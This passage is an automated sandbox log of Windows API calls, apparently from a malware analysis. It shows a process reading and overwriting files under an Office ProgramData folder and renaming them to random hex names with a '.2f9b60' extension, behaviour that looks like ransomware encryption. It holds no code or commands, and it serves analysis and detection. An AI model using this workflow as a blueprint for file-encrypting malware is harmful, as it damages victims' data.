RtlRandomEx (in: Seed=0x1f9af750 | out: Seed=0x1f9af750) returned 0x7ee71920 [0130.514] RtlRandomEx (in: Seed=0x1f9af750 | out: Seed=0x1f9af750) returned 0x284299cf [0130.514] RtlRandomEx (in: Seed=0x1f9af750 | out: Seed=0x1f9af750) returned 0x5c717999 [0130.514] RtlRandomEx (in: Seed=0x1f9af750 | out: Seed=0x1f9af750) returned 0x64464f0d [0130.514] RtlRandomEx (in: Seed=0x1f9af750 | out: Seed=0x1f9af750) returned 0x1b74627a [0130.514] RtlRandomEx (in: Seed=0x1f9af750 | out: Seed=0x1f9af750) returned 0x482e93fe [0130.514] RtlRandomEx (in: Seed=0x1f9af750 | out: Seed=0x1f9af750) returned 0x69befe17 [0130.514] RtlRandomEx (in: Seed=0x1f9af750 | out: Seed=0x1f9af750) returned 0x4490d146 [0130.514] RtlRandomEx (in: Seed=0x1f9af750 | out: Seed=0x1f9af750) returned 0x2aa050eb [0130.514] RtlRandomEx (in: Seed=0x1f9af750 | out: Seed=0x1f9af750) returned 0x1d02f280 [0130.514] RtlRandomEx (in: Seed=0x1f9af750 | out: Seed=0x1f9af750) returned 0x6d10031d [0130.514] RtlRandomEx (in: Seed=0x1f9af750 | out: Seed=0x1f9af750) returned 0x42be18b4 [0130.514] RtlRandomEx (in: Seed=0x1f9af750 | out: Seed=0x1f9af750) returned 0x28061827 [0130.515] RtlRandomEx (in: Seed=0x1f9af750 | out: Seed=0x1f9af750) returned 0x71e3c243 [0130.515] RtlRandomEx (in: Seed=0x1f9af750 | out: Seed=0x1f9af750) returned 0x15de5eae [0130.515] RtlRandomEx (in: Seed=0x1f9af750 | out: Seed=0x1f9af750) returned 0x32a509c6 [0130.515] RtlRandomEx (in: Seed=0x1f9af750 | out: Seed=0x1f9af750) returned 0x5f0612f9 [0130.515] RtlRandomEx (in: Seed=0x1f9af750 | out: Seed=0x1f9af750) returned 0x2d752d8d [0130.515] RtlRandomEx (in: Seed=0x1f9af750 | out: Seed=0x1f9af750) returned 0x3271b4c1 [0130.526] ReadFile (in: hFile=0x1a7c, lpBuffer=0x41d1f0f0, nNumberOfBytesToRead=0x2b60, lpNumberOfBytesRead=0x1f9af750, lpOverlapped=0x0 | out: lpBuffer=0x41d1f0f0*, lpNumberOfBytesRead=0x1f9af750*=0x2b60, lpOverlapped=0x0) returned 1 [0130.529] SetFilePointerEx (in: hFile=0x1a7c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.529] WriteFile (in: hFile=0x1a7c, lpBuffer=0x41d2a520*, nNumberOfBytesToWrite=0x2b60, lpNumberOfBytesWritten=0x1f9af754, lpOverlapped=0x0 | out: lpBuffer=0x41d2a520*, lpNumberOfBytesWritten=0x1f9af754*=0x2b60, lpOverlapped=0x0) returned 1 [0161.113] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a3530 [0161.113] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a3560 [0161.113] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a3560) returned 1 [0161.113] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41d2a520) returned 1 [0161.113] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41d1f0f0) returned 1 [0161.114] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867ec0) returned 1 [0161.114] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97120) returned 1 [0161.114] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x34) returned 0x1b7d8440 [0161.114] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97120 [0161.114] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867ec0 [0161.114] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a3560 [0161.115] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a3560) returned 1 [0161.115] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x34) returned 0x1b7d8340 [0161.115] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a3560 [0161.115] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a3590 [0161.115] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a3590) returned 1 [0161.116] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867ec0) returned 1 [0161.116] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97120) returned 1 [0161.116] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x118) returned 0x1ce14090 [0161.116] SetFilePointerEx (in: hFile=0x1a7c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0161.116] WriteFile (in: hFile=0x1a7c, lpBuffer=0x1ce14090*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x1f9af870, lpOverlapped=0x0 | out: lpBuffer=0x1ce14090*, lpNumberOfBytesWritten=0x1f9af870*=0x118, lpOverlapped=0x0) returned 1 [0180.773] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ced1c00 [0180.773] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce248a0 [0180.774] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2c1e0 [0180.774] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d2c1e0) returned 1 [0180.774] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x42d2c1e0 [0180.775] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2c210 [0180.775] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2c240 [0180.775] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d2c240) returned 1 [0180.776] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce248a0) returned 1 [0180.776] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced1c00) returned 1 [0180.776] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4d) returned 0x1ced5800 [0180.776] sprintf (in: _Dest=0x1ced5800, _Format="%c%c" | out: _Dest="bc") returned 2 [0180.777] sprintf (in: _Dest=0x1ced5802, _Format="%c%c" | out: _Dest="fe") returned 2 [0180.777] sprintf (in: _Dest=0x1ced5804, _Format="%c%c" | out: _Dest="0a") returned 2 [0180.777] sprintf (in: _Dest=0x1ced5806, _Format="%c%c" | out: _Dest="6a") returned 2 [0180.777] sprintf (in: _Dest=0x1ced5808, _Format="%c%c" | out: _Dest="0d") returned 2 [0180.777] sprintf (in: _Dest=0x1ced580a, _Format="%c%c" | out: _Dest="6d") returned 2 [0180.777] sprintf (in: _Dest=0x1ced580c, _Format="%c%c" | out: _Dest="51") returned 2 [0180.777] sprintf (in: _Dest=0x1ced580e, _Format="%c%c" | out: _Dest="f0") returned 2 [0180.777] sprintf (in: _Dest=0x1ced5810, _Format="%c%c" | out: _Dest="ef") returned 2 [0180.777] sprintf (in: _Dest=0x1ced5812, _Format="%c%c" | out: _Dest="d9") returned 2 [0180.777] sprintf (in: _Dest=0x1ced5814, _Format="%c%c" | out: _Dest="dc") returned 2 [0180.777] sprintf (in: _Dest=0x1ced5816, _Format="%c%c" | out: _Dest="21") returned 2 [0180.777] sprintf (in: _Dest=0x1ced5818, _Format="%c%c" | out: _Dest="27") returned 2 [0180.777] sprintf (in: _Dest=0x1ced581a, _Format="%c%c" | out: _Dest="c7") returned 2 [0180.777] sprintf (in: _Dest=0x1ced581c, _Format="%c%c" | out: _Dest="cf") returned 2 [0180.777] sprintf (in: _Dest=0x1ced581e, _Format="%c%c" | out: _Dest="71") returned 2 [0180.777] sprintf (in: _Dest=0x1ced5820, _Format="%c%c" | out: _Dest="4f") returned 2 [0180.777] sprintf (in: _Dest=0x1ced5822, _Format="%c%c" | out: _Dest="c0") returned 2 [0180.777] sprintf (in: _Dest=0x1ced5824, _Format="%c%c" | out: _Dest="b8") returned 2 [0180.777] sprintf (in: _Dest=0x1ced5826, _Format="%c%c" | out: _Dest="3a") returned 2 [0180.777] sprintf (in: _Dest=0x1ced5828, _Format="%c%c" | out: _Dest="1b") returned 2 [0180.777] sprintf (in: _Dest=0x1ced582a, _Format="%c%c" | out: _Dest="66") returned 2 [0180.778] sprintf (in: _Dest=0x1ced582c, _Format="%c%c" | out: _Dest="7b") returned 2 [0180.778] sprintf (in: _Dest=0x1ced582e, _Format="%c%c" | out: _Dest="a9") returned 2 [0180.778] sprintf (in: _Dest=0x1ced5830, _Format="%c%c" | out: _Dest="0b") returned 2 [0180.778] sprintf (in: _Dest=0x1ced5832, _Format="%c%c" | out: _Dest="ef") returned 2 [0180.778] sprintf (in: _Dest=0x1ced5834, _Format="%c%c" | out: _Dest="2f") returned 2 [0180.778] sprintf (in: _Dest=0x1ced5836, _Format="%c%c" | out: _Dest="89") returned 2 [0180.778] sprintf (in: _Dest=0x1ced5838, _Format="%c%c" | out: _Dest="28") returned 2 [0180.778] sprintf (in: _Dest=0x1ced583a, _Format="%c%c" | out: _Dest="a7") returned 2 [0180.778] sprintf (in: _Dest=0x1ced583c, _Format="%c%c" | out: _Dest="d3") returned 2 [0180.778] sprintf (in: _Dest=0x1ced583e, _Format="%c%c" | out: _Dest="5a") returned 2 [0180.778] sprintf (in: _Dest=0x1ced5840, _Format="%c%c" | out: _Dest="ef") returned 2 [0180.778] sprintf (in: _Dest=0x1ced5842, _Format="%c%c" | out: _Dest="13") returned 2 [0180.778] sprintf (in: _Dest=0x1ced5844, _Format="%c%c" | out: _Dest="d9") returned 2 [0180.778] sprintf (in: _Dest=0x1ced5846, _Format="%c%c" | out: _Dest="4d") returned 2 [0180.778] sprintf (in: _Dest=0x1ced5848, _Format="%c%c" | out: _Dest="ca") returned 2 [0180.778] sprintf (in: _Dest=0x1ced584a, _Format="%c%c" | out: _Dest="38") returned 2 [0180.778] RtlInitAnsiString (in: DestinationString=0x1f9af8e8, SourceString="bcfe0a6a0d6d51f0efd9dc2127c7cf714fc0b83a1b667ba90bef2f8928a7d35aef13d94dca38" | out: DestinationString="bcfe0a6a0d6d51f0efd9dc2127c7cf714fc0b83a1b667ba90bef2f8928a7d35aef13d94dca38") [0180.778] RtlAnsiStringToUnicodeString (in: DestinationString=0x1f9af8b8, SourceString="bcfe0a6a0d6d51f0efd9dc2127c7cf714fc0b83a1b667ba90bef2f8928a7d35aef13d94dca38", AllocateDestinationString=1 | out: DestinationString="bcfe0a6a0d6d51f0efd9dc2127c7cf714fc0b83a1b667ba90bef2f8928a7d35aef13d94dca38") returned 0x0 [0180.778] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x2050c920 [0180.779] RtlFreeAnsiString (AnsiString="b") [0180.780] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced5800) returned 1 [0180.780] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d2c1e0) returned 1 [0180.780] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d2c210) returned 1 [0180.781] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce14090) returned 1 [0180.781] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d8340) returned 1 [0180.781] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a3560) returned 1 [0180.782] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d8440) returned 1 [0180.782] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a3530) returned 1 [0180.782] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20265d60) returned 1 [0180.783] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20265dc0) returned 1 [0180.783] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20265df0) returned 1 [0180.783] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x96) returned 0x2027b050 [0180.784] wcscat (in: _Dest=0x2027b050, _Source="bcfe0a6a0d6d51f0efd" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\bcfe0a6a0d6d51f0efd") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\bcfe0a6a0d6d51f0efd" [0180.784] wcscat (in: _Dest=0x2027b050, _Source=".2f9b60" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\bcfe0a6a0d6d51f0efd.2f9b60") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\bcfe0a6a0d6d51f0efd.2f9b60" [0180.784] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\bcfe0a6a0d6d51f0efd.2f9b60", NtPathName=0x1f9af890, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\bcfe0a6a0d6d51f0efd.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0180.784] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb4) returned 0x20278b30 Thread: id = 1693 os_tid = 0x600 [0130.528] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\PPINTL.DLL.trx_dll" (normalized: "c:\\programdata\\microsoft\\office\\uicaptions\\1036\\ppintl.dll.trx_dll")) returned 0x2020 [0130.532] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\PPINTL.DLL.trx_dll", dwFileAttributes=0x20) returned 1 [0130.533] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\PPINTL.DLL.trx_dll" (normalized: "c:\\programdata\\microsoft\\office\\uicaptions\\1036\\ppintl.dll.trx_dll"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1a80 [0130.534] GetFileSizeEx (in: hFile=0x1a80, lpFileSize=0x200af860 | out: lpFileSize=0x200af860*=52576) returned 1 [0130.534] SetFilePointerEx (in: hFile=0x1a80, liDistanceToMove=0xcd5c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.534] ReadFile (in: hFile=0x1a80, lpBuffer=0x200af7e0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x200af828, lpOverlapped=0x0 | out: lpBuffer=0x200af7e0*, lpNumberOfBytesRead=0x200af828*=0x4, lpOverlapped=0x0) returned 1 [0130.536] SetFilePointerEx (in: hFile=0x1a80, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.536] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a72e0 [0130.537] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20265cd0 [0130.537] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20265d90 [0130.537] NtQuerySystemTime (in: CurrentTime=0x200af720 | out: CurrentTime=0x200af720*=132462177357742000) returned 0x0 [0130.537] RtlRandomEx (in: Seed=0x200af710 | out: Seed=0x200af710) returned 0x2e750f83 [0130.537] RtlRandomEx (in: Seed=0x200af710 | out: Seed=0x200af710) returned 0x12626c17 [0130.537] RtlRandomEx (in: Seed=0x200af710 | out: Seed=0x200af710) returned 0x1fc0f2c7 [0130.537] RtlRandomEx (in: Seed=0x200af710 | out: Seed=0x200af710) returned 0x40390858 [0130.537] RtlRandomEx (in: Seed=0x200af710 | out: Seed=0x200af710) returned 0xa384a0b [0130.537] RtlRandomEx (in: Seed=0x200af710 | out: Seed=0x200af710) returned 0x27f008c4 [0130.537] RtlRandomEx (in: Seed=0x200af710 | out: Seed=0x200af710) returned 0x6cb2df22 [0130.537] RtlRandomEx (in: Seed=0x200af710 | out: Seed=0x200af710) returned 0x51e028cc [0130.537] RtlRandomEx (in: Seed=0x200af710 | out: Seed=0x200af710) returned 0x18e06314 [0130.537] RtlRandomEx (in: Seed=0x200af710 | out: Seed=0x200af710) returned 0x54dfc7aa [0130.537] RtlRandomEx (in: Seed=0x200af710 | out: Seed=0x200af710) returned 0x5f75af16 [0130.537] RtlRandomEx (in: Seed=0x200af710 | out: Seed=0x200af710) returned 0x7dc7ff7f [0130.537] RtlRandomEx (in: Seed=0x200af710 | out: Seed=0x200af710) returned 0x19af4bb2 [0130.537] RtlRandomEx (in: Seed=0x200af710 | out: Seed=0x200af710) returned 0x18bc8cd6 [0130.537] RtlRandomEx (in: Seed=0x200af710 | out: Seed=0x200af710) returned 0x5828d5a3 [0130.537] RtlRandomEx (in: Seed=0x200af710 | out: Seed=0x200af710) returned 0x42541400 [0130.537] RtlRandomEx (in: Seed=0x200af710 | out: Seed=0x200af710) returned 0x1cfb9957 [0130.537] RtlRandomEx (in: Seed=0x200af710 | out: Seed=0x200af710) returned 0x31313f42 [0130.537] RtlRandomEx (in: Seed=0x200af710 | out: Seed=0x200af710) returned 0xad03931 [0130.537] RtlRandomEx (in: Seed=0x200af710 | out: Seed=0x200af710) returned 0x2c34fb98 [0130.537] RtlRandomEx (in: Seed=0x200af710 | out: Seed=0x200af710) returned 0x1dbcbf03 [0130.538] RtlRandomEx (in: Seed=0x200af710 | out: Seed=0x200af710) returned 0xbcb1c71 [0130.538] RtlRandomEx (in: Seed=0x200af710 | out: Seed=0x200af710) returned 0x788aaa04 [0130.538] RtlRandomEx (in: Seed=0x200af710 | out: Seed=0x200af710) returned 0x25e1e35a [0130.538] RtlRandomEx (in: Seed=0x200af710 | out: Seed=0x200af710) returned 0x12c7b37a [0130.538] RtlRandomEx (in: Seed=0x200af710 | out: Seed=0x200af710) returned 0x68fc116d [0130.538] RtlRandomEx (in: Seed=0x200af710 | out: Seed=0x200af710) returned 0x79f61008 [0130.538] RtlRandomEx (in: Seed=0x200af710 | out: Seed=0x200af710) returned 0x13c03b72 [0130.538] RtlRandomEx (in: Seed=0x200af710 | out: Seed=0x200af710) returned 0x4183ae63 [0130.538] RtlRandomEx (in: Seed=0x200af710 | out: Seed=0x200af710) returned 0x3aab6cb1 [0130.538] RtlRandomEx (in: Seed=0x200af710 | out: Seed=0x200af710) returned 0x70654fd0 [0130.538] RtlRandomEx (in: Seed=0x200af710 | out: Seed=0x200af710) returned 0x127df4c5 [0130.550] SetFilePointerEx (in: hFile=0x1a80, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.550] ReadFile (in: hFile=0x1a80, lpBuffer=0x41d1b4e0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x200af780, lpOverlapped=0x0 | out: lpBuffer=0x41d1b4e0*, lpNumberOfBytesRead=0x200af780*=0x3c00, lpOverlapped=0x0) returned 1 [0130.553] SetFilePointerEx (in: hFile=0x1a80, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.554] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97490 [0130.554] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867d40 [0130.554] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a72e0 [0130.554] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a72e0) returned 1 [0130.554] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41d178d0 [0130.554] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a72e0 [0130.555] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20265d90 [0130.555] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20265d90) returned 1 [0130.555] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867d40) returned 1 [0130.555] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97490) returned 1 [0130.555] WriteFile (hFile=0x1a80, lpBuffer=0x41d178d0, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x200af780, lpOverlapped=0x0) [0180.051] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41d178d0) returned 1 [0180.052] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41d1b4e0) returned 1 [0180.052] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x32) returned 0x1cd9eaf0 [0180.053] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97b20 [0180.053] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79ddf0 [0180.053] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7c20 [0180.054] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7c20) returned 1 [0180.054] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x32) returned 0x1cd9eb30 [0180.054] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7c20 [0180.054] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7110 [0180.055] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7110) returned 1 [0180.056] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79ddf0) returned 1 [0180.056] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97b20) returned 1 [0180.056] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x116) returned 0x42c14bd0 [0180.057] SetFilePointerEx (in: hFile=0x1a80, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0180.057] WriteFile (in: hFile=0x1a80, lpBuffer=0x42c14bd0*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x200af830, lpOverlapped=0x0 | out: lpBuffer=0x42c14bd0*, lpNumberOfBytesWritten=0x200af830*=0x116, lpOverlapped=0x0) returned 1 [0199.690] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c5d0 [0199.691] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85ef90 [0199.691] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202662a0 [0199.692] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202662a0) returned 1 [0199.692] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x202662a0 [0199.692] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266270 [0199.693] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202661b0 [0199.693] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202661b0) returned 1 [0199.694] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ef90) returned 1 [0199.694] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c5d0) returned 1 [0199.694] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x49) returned 0x1b859390 [0199.694] sprintf (in: _Dest=0x1b859390, _Format="%c%c" | out: _Dest="f3") returned 2 [0199.694] sprintf (in: _Dest=0x1b859392, _Format="%c%c" | out: _Dest="8f") returned 2 [0199.695] sprintf (in: _Dest=0x1b859394, _Format="%c%c" | out: _Dest="06") returned 2 [0199.695] sprintf (in: _Dest=0x1b859396, _Format="%c%c" | out: _Dest="bb") returned 2 [0199.695] sprintf (in: _Dest=0x1b859398, _Format="%c%c" | out: _Dest="1a") returned 2 [0199.695] sprintf (in: _Dest=0x1b85939a, _Format="%c%c" | out: _Dest="96") returned 2 [0199.695] sprintf (in: _Dest=0x1b85939c, _Format="%c%c" | out: _Dest="ba") returned 2 [0199.695] sprintf (in: _Dest=0x1b85939e, _Format="%c%c" | out: _Dest="94") returned 2 [0199.695] sprintf (in: _Dest=0x1b8593a0, _Format="%c%c" | out: _Dest="8f") returned 2 [0199.695] sprintf (in: _Dest=0x1b8593a2, _Format="%c%c" | out: _Dest="e8") returned 2 [0199.695] sprintf (in: _Dest=0x1b8593a4, _Format="%c%c" | out: _Dest="b9") returned 2 [0199.695] sprintf (in: _Dest=0x1b8593a6, _Format="%c%c" | out: _Dest="be") returned 2 [0199.695] sprintf (in: _Dest=0x1b8593a8, _Format="%c%c" | out: _Dest="85") returned 2 [0199.695] sprintf (in: _Dest=0x1b8593aa, _Format="%c%c" | out: _Dest="b4") returned 2 [0199.695] sprintf (in: _Dest=0x1b8593ac, _Format="%c%c" | out: _Dest="51") returned 2 [0199.695] sprintf (in: _Dest=0x1b8593ae, _Format="%c%c" | out: _Dest="44") returned 2 [0199.695] sprintf (in: _Dest=0x1b8593b0, _Format="%c%c" | out: _Dest="1e") returned 2 [0199.695] sprintf (in: _Dest=0x1b8593b2, _Format="%c%c" | out: _Dest="46") returned 2 [0199.695] sprintf (in: _Dest=0x1b8593b4, _Format="%c%c" | out: _Dest="1a") returned 2 [0199.695] sprintf (in: _Dest=0x1b8593b6, _Format="%c%c" | out: _Dest="4d") returned 2 [0199.695] sprintf (in: _Dest=0x1b8593b8, _Format="%c%c" | out: _Dest="03") returned 2 [0199.695] sprintf (in: _Dest=0x1b8593ba, _Format="%c%c" | out: _Dest="b4") returned 2 [0199.695] sprintf (in: _Dest=0x1b8593bc, _Format="%c%c" | out: _Dest="4c") returned 2 [0199.695] sprintf (in: _Dest=0x1b8593be, _Format="%c%c" | out: _Dest="4f") returned 2 [0199.695] sprintf (in: _Dest=0x1b8593c0, _Format="%c%c" | out: _Dest="ca") returned 2 [0199.695] sprintf (in: _Dest=0x1b8593c2, _Format="%c%c" | out: _Dest="d4") returned 2 [0199.695] sprintf (in: _Dest=0x1b8593c4, _Format="%c%c" | out: _Dest="b5") returned 2 [0199.696] sprintf (in: _Dest=0x1b8593c6, _Format="%c%c" | out: _Dest="00") returned 2 [0199.696] sprintf (in: _Dest=0x1b8593c8, _Format="%c%c" | out: _Dest="32") returned 2 [0199.696] sprintf (in: _Dest=0x1b8593ca, _Format="%c%c" | out: _Dest="d4") returned 2 [0199.696] sprintf (in: _Dest=0x1b8593cc, _Format="%c%c" | out: _Dest="ea") returned 2 [0199.696] sprintf (in: _Dest=0x1b8593ce, _Format="%c%c" | out: _Dest="61") returned 2 [0199.696] sprintf (in: _Dest=0x1b8593d0, _Format="%c%c" | out: _Dest="cf") returned 2 [0199.696] sprintf (in: _Dest=0x1b8593d2, _Format="%c%c" | out: _Dest="62") returned 2 [0199.696] sprintf (in: _Dest=0x1b8593d4, _Format="%c%c" | out: _Dest="48") returned 2 [0199.696] sprintf (in: _Dest=0x1b8593d6, _Format="%c%c" | out: _Dest="1c") returned 2 [0199.696] RtlInitAnsiString (in: DestinationString=0x200af8a8, SourceString="f38f06bb1a96ba948fe8b9be85b451441e461a4d03b44c4fcad4b50032d4ea61cf62481c" | out: DestinationString="f38f06bb1a96ba948fe8b9be85b451441e461a4d03b44c4fcad4b50032d4ea61cf62481c") [0199.696] RtlAnsiStringToUnicodeString (in: DestinationString=0x200af878, SourceString="f38f06bb1a96ba948fe8b9be85b451441e461a4d03b44c4fcad4b50032d4ea61cf62481c", AllocateDestinationString=1 | out: DestinationString="f38f06bb1a96ba948fe8b9be85b451441e461a4d03b44c4fcad4b50032d4ea61cf62481c") returned 0x0 [0199.696] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x92) returned 0x20508a90 [0199.697] wcscat (in: _Dest=0x20507b90, _Source="f38f06bb1a96ba948f" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\f38f06bb1a96ba948f") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\f38f06bb1a96ba948f" [0199.697] wcscat (in: _Dest=0x20507b90, _Source=".2f9b60" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\f38f06bb1a96ba948f.2f9b60") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\f38f06bb1a96ba948f.2f9b60" [0199.697] RtlDosPathNameToNtPathName_U 